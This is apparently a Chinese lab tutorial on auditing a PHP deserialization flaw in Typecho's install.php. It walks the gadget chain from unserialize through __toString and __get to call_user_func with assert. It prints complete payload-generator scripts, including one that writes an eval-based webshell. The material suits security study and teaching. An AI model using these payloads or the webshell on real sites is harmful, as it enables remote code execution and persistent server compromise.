序列化与反序列化漏洞(tyoecho2代码审计)超详解
靶场示例
1、全局搜索危险函数unserialize
2、双击进入id=1 /install.php文件
根据提示这个漏洞的入口点就在这个文件中
install.php 第230行
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
//注意:这里的Typecho_Cookie是传入的数据
这段代码的意思是先Typecho_Cookie类调用get()方法,然后得到的结果进行base64编码,然后再把编码后的结果进行反序列化,最后赋值给$config
理解了这段代码之后我们要明白,Typecho_Cookie是get()方法的参数,它的来源,我们就要去仔细的看看get()方法具体是什么
这里有个小方法,就是把网站的源代码放到phpStorm中,方便我们进行函数的查找(方法 按住crtl 然后鼠标双击函数,就可以自动查找)
查找get函数的具体内容
(如图)在Cookie.php的83-88行
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
代码理解:首先是 Typecho_Cookie
类中定义了一个公有的静态方法get(),参数有$key
然后用 self::$_prefix
与$key
进行拼接,得到一个新的$key
这里我们来理解一下 self::$_prefix
::
是类的操作符,用来调用这个类中的这个方法,如图(就在这个文件里面的53-62行)
再往前就是
这时就可以得出结论$key = self::$_prefix . $key;
就只是确保唯一前缀$key
的方法
好的我们继续理解
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
先判断$_COOKIE[$key]
是否存在,如果存在就把 $_COOKIE[$key]
赋值给 $value
,如果不存在就判断是否存在$_POST[$key]
就是POST传过来的参数中有没有$key
,如果有就把$_POST[$key]
赋值给 $value
,否则就是默认为空
最后判断$value
是不是为数组,如果是数组的话,就返回默认,不是的话就返回$value
因为这个$key
是可以从cookie中获取,也可以通过POST获取,所以这个是可以控制的,从而这个get()方法是可以控制的,所以__typecho_config参数是可控的。
理清思路继续审计
所以现在我们就要想办法让代码执行到这一行,于是我先在这一行的前面设置了一个 ehco "执行到这里了"
然后跟上die()函数如图
然后尝试着访问这个页面
发现没有任何的反应
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
说明我们没有满足前面代码的条件,没有执行到这里,于是就要从前往后继续审计代码
1-56行
可以看到这里都是一些文件包含代码,还有就是程序的初始化代码,这个我们不用理会,继续往下看
58-61行
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
这里首先判断get参数中有没有finish,如果有的话就取反,执行exit退出程序,但是我们不能让它在此时退出,因为还没有执行到我们代码更改的地方,所以我们等会抓包要在get参数中加入finish参数。
第二个判断条件是是否存在/config.inc.php
的文件,如果有的话,会退出,根据我们之前搭建网站的经验,这个是在网站成功搭建后,自动生成的锁定文件,就是为了防止轻易的被人重置网站。
第三个是判断$_SESSION['typecho']
中是否为空
这三个判断条件是用&&连接的,所以我们只要有一个不满足,程序就不会退出
我们只需要在抓包后get参数中添加一个finish程序就能正常往下执行了
然后我们继续往下审计
63-77行
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
这里是判断$_GET
和$_POST
是不是为空,不为空的话就执行下一步判断,if (empty($_SERVER['HTTP_REFERER']))
判断referer头是不是存在,不存在的话就执行退出,所以我们等会在抓包之后要添加上referer头,阻止它在这里退出。
$parts = parse_url($_SERVER['HTTP_REFERER']);//
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
//将主机信息更新为主机和端口的组合
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
这里是检测数据包中,host是不是为空,为空就退出程序,或者,是判断请求头的host与referer头的host不一致,也会执行退出,所以我们添加上的referer头要与请求头的host保持一致,防止程序执行到这里就退出了
78-188行
这段代码都没有退出程序的函数,只要前面的条件满足了,我们就可以顺利的执行下去,因此我们不用理会,继续审计
190-208行
这段代码是html的代码,不影响程序的执行不用管
209-227行
<div class="container">
<div class="row">
<div class="col-mb-12 col-tb-8 col-tb-offset-2">
<div class="column-14 start-06 typecho-install">
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p>
</form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p>
</form>
</div>
首先判断get参数里面有没有finish,有的话就执行下一个if判断<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
然后又看是不是存在/config.inc.php
不过这里的我们是存在的,因为已经安装过,所以不影响,<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
这里判断是不是有__typecho_config,我们之前就说了要构造 __typecho_config
才能执行到目标代码处
此时我们就可以构造一部分代码,让我们先执行到我们写的die()函数的地方了
开启抓包构造,使代码执行到反序列化的地方
构造过程
验证成功,执行到我设置的断点处了
3、再次整理思路,继续审计 /install.php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
此时我们就要思考一下,我们都能构造数据包走到反序列化的代码了,那么反序列化之后的$config
又被带到哪里去执行或者是在哪被调用了,这个时候就要接着审计了
232行
$db = new Typecho_Db($config['adapter'], $config['prefix']);
这行代码将$config
进行了实例化,$config['adapter']
同时他这样实例化$congfig
说明此时的$config
是一个对象,所以我们在后面构造payload的时候,$congfig
要是一个对象,且至少要包含adapter和prefix两个键。
示例
$config =[
'adapter' => ssssssss,
'prefix' => ssssss
];
紧接着我们要看Typecho_Db里面到底有什么东西
进入Typecho_Db 此时文件为Db.php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
这部分的代码是固定的,我们不用去关注了
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
我们只需要去关注114-120行代码
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
__construct是一个魔术方法
里面是实现对适配器名称的拼接功能
此时我们要思考,传进来的$adapterName
到底是什么类型,如果是对象的话,在后面实例化的时候就会出现报错,从而去调用toString方法,
果然后面马上就是实例化
$this->_adapter = new $adapterName();
所以我们要去想办法传入一个对象,同时的话需要去准备一个对象,我们需要找一个类,并且类里面必须有__toString
4、全局搜索toString
发现这里有三个,分别是id=2,id=3,id=4,此时我们需要去判断这三个有toString的类是否是有漏洞点
4.1 进入id=2 Config.php
这里直接序列化之后就没有了,无法利用,排除
4.2进入id=3 Feed.php
此时使用phpstrom更方便
4.2.1、 255行
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
$result
里面是头文件,没有利用价值
4.2.2、 227-242行
if (self::RSS1 == $this->_type) {
$result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;
$content = '';
$links = array();
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
$content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
这部分基本都是写的固定的内容,并没有什么可以利用的漏洞点,我们就排除了这个if
接着我们看第一个else if的内容
4.2.3、 272行 else if()中的内容
else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
}
}
if (!empty($item['excerpt'])) {
$content .= '<description><![CDATA[' . strip_tags($item['excerpt']) . ']]></description>' . self::EOL;
}
if (!empty($item['content'])) {
$content .= '<content:encoded xml:lang="' . $this->_lang . '"><![CDATA['
. self::EOL .
$item['content'] . self::EOL .
']]></content:encoded>' . self::EOL;
}
if (isset($item['comments']) && strlen($item['comments']) > 0) {
$content .= '<slash:comments>' . $item['comments'] . '</slash:comments>' . self::EOL;
}
$content .= '<comments>' . $item['link'] . '#comments</comments>' . self::EOL;
if (!empty($item['commentsFeedUrl'])) {
$content .= '<wfw:commentRss>' . $item['commentsFeedUrl'] . '</wfw:commentRss>' . self::EOL;
}
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '</item>' . self::EOL;
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<atom:link href="' . $this->_feedUrl . '" rel="self" type="application/rss+xml" />
<language>' . $this->_lang . '</language>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<lastBuildDate>' . $this->dateFormat($lastUpdate) . '</lastBuildDate>
<pubDate>' . $this->dateFormat($lastUpdate) . '</pubDate>' . self::EOL;
$result .= $content . '</channel>
</rss>';
}
首先我们查看要满足什么条件才能触发这里
else if (self::RSS2 == $this->_type)
经过查询,要RSS2='RSS 2.0’才能触发这个条件
接着往下看
4.2.4、 290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
$item['author']->screenName
这里调用了screenName属性
说明前面的是一个对象
这里要联想到get的魔术方法
如果想让这里取调用__get方法,需要找一个类
这个类要满足的条件
- 类里面必须要有__get()方法
- 且不能有screenName属性
- 或者screenName属性为私有的或者受保护的
4.2.5、 全局搜索__get(方法
id=1
public function __get($prefix)
{
return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
}
这里返回的是一个实体化的类,我们进去查找一下
发现这里面都是一些固定的配置文件,无法利用,不用再管了
id=2
public function __get($name)
{
return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
}
- 检查
$this->_currentConfig[$name]
有没有存在$name的键 - 如果存在则返回键对应的值
- 如果不存在则返回null
因为这个数组里面的东西不可控,就不用再管这个了
id=3
public function __get($name)
{
switch ($name) {
case 'year':
return date('Y', $this->timeStamp);
case 'month':
return date('m', $this->timeStamp);
case 'day':
return date('d', $this->timeStamp);
default:
return;
}
定义了一些时间格式,返回给我们一些格式化的东西
这里的话也不用再费精力了
id=4
public function __get($component)
{
$this->_component = $component;
return $this;
}
-
将属性名
$component
作为参数传递 -
属性名
$component
赋值给类的变量_component
这里也是我们无法利用的,所以不用再管了
id=5
public function __get($key)
{
return $this->get($key);
}
-
把$key传递给get方法
这里可以尝试去查找一下跳跃到5、代码审计
4.3 进入id=4 Query.php
这边是sql语句的增删改查,里面预定义了一些sql语句,无法利用的
5、代码审计 /var/Typecho/Request.php
5.1 293-309
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
这里的$key
表示传递过来的参数
case isset($this->_params[$key]):
首先检查_params
数组里面有没有$key
,如果有就赋值给$value
此时就要想,如果我们构造好payload,想要传进来的$key是谁?
5.2 307-308
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
这段代码的意思是,如果value不是一个数组,并且长度大于零,那么value就是他自己。也就是说,我们不传数组,传一个字符串,就会继续执行就回去调用_applyFilter。
此时就要去看_applyFilter
具体内容了
5.3 159-170
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
这里就存在一个我们很熟悉的漏洞了(RCE)
call_user_func()是调用回调函数,这里的$fileter
是一个数组,$value
是一个函数
代码解读
如果$this->_filter
是一个数组,将进行数组的循环遍历,名为$filter
,
如果$value
是一个数组就执行,array_map()函数,如果不是就执行call_user_func(),这里我们肯定要想方设法的让它去执行调用回调函数,因为这样我们就可以远程的写入代码了
示例
call_user_func($filter,$value);
//如果$filter为assert
//如果$value为phpinfo()
再经过回调函数处理就是
assert(phpinfo())这样就可以弄成代码执行了
到此为止,漫长的代码审计结束了,我们就根据之前收集的信息,一步一步的构造payload即可。
6、构造payload
构造的思路,我们是从执行反序列化的代码开始=>然后想到了去执行toString=>接着因为看到了调用screenName这个数组属性的方法,想到的可以去执行__get()
魔术方法,于是去搜索=>在审计__get()
方法中,又在id=5发现了可控的get()方法=>然后发现了_applyFilter
方法,由此发现了代码的执行漏洞
我们可以顺着上述的线索,构造payload了
6.1 为什么adapter要是一个数组
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$config
是一个对象,并且是一个数组,$config
传给了adapter,所以adapter也必须是一个数组对象,并且必须存在
$config =[
'adapter' => 123456,
'prefix' => typecho_
];
同时prefix的值必须为typecho_
6.2 tostring方法
在Feed.php中的Typecho_Feed类中,所以我们需要去构造一个
需要满足else if (self::*RSS2* == $this->_type)
满足_type=RSS2
payload里面要加上_type=RSS2
原因这个要满足条件才能执行
所以这个类构造为
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
public function __construct(){
$this->_type='RSS 2.0';
}
}
此时继续往下走,到foreach里面
-
要去确定$item数组里面有哪些东西?
- title、link、date、author
$item
数组又在_items
数组里面- 所以可以把
_items
数组里面的第一个元素给$item
数组
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => 这里要思考给什么?
);
}
}
这里为了去调用get方法
- 此时author,应该是Request.php里面的
Typecho_Request
类
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 值应该是什么?
);
}
再往下进入到_applyFilter
中
$key
传入
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'phpinfo();'
);
private $_filter = array(
'assert'
);
}
此时的$_filter
也是一个数组,所以此时上面的两个条件就都满足了
最后将这个序列化一下,编码
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'die(phpinfo());'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data
payload构造完毕,进行访问,生成序列化后且进行了base64加密的代码。
同时这里要注意用die()函数在phpinfo()执行完毕之后停止,不然会报错的
7、写shell
//只需要改
'screenName' => 'die(file_put_contents("shell.php","<?php eval(\$_REQUEST[123]);?>"));'
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 12312,
'date' => 2023,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'die(file_put_contents("shell.php","<?php eval(\$_REQUEST[123]);?>"));'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;
还是跟前面步骤一样,先访问这个文件,获取到序列化后,且进行base64加密后的内容,再从目标网站进行抓包操作,修改前面提到的三个点
后面连接蚁剑这里就不再赘述了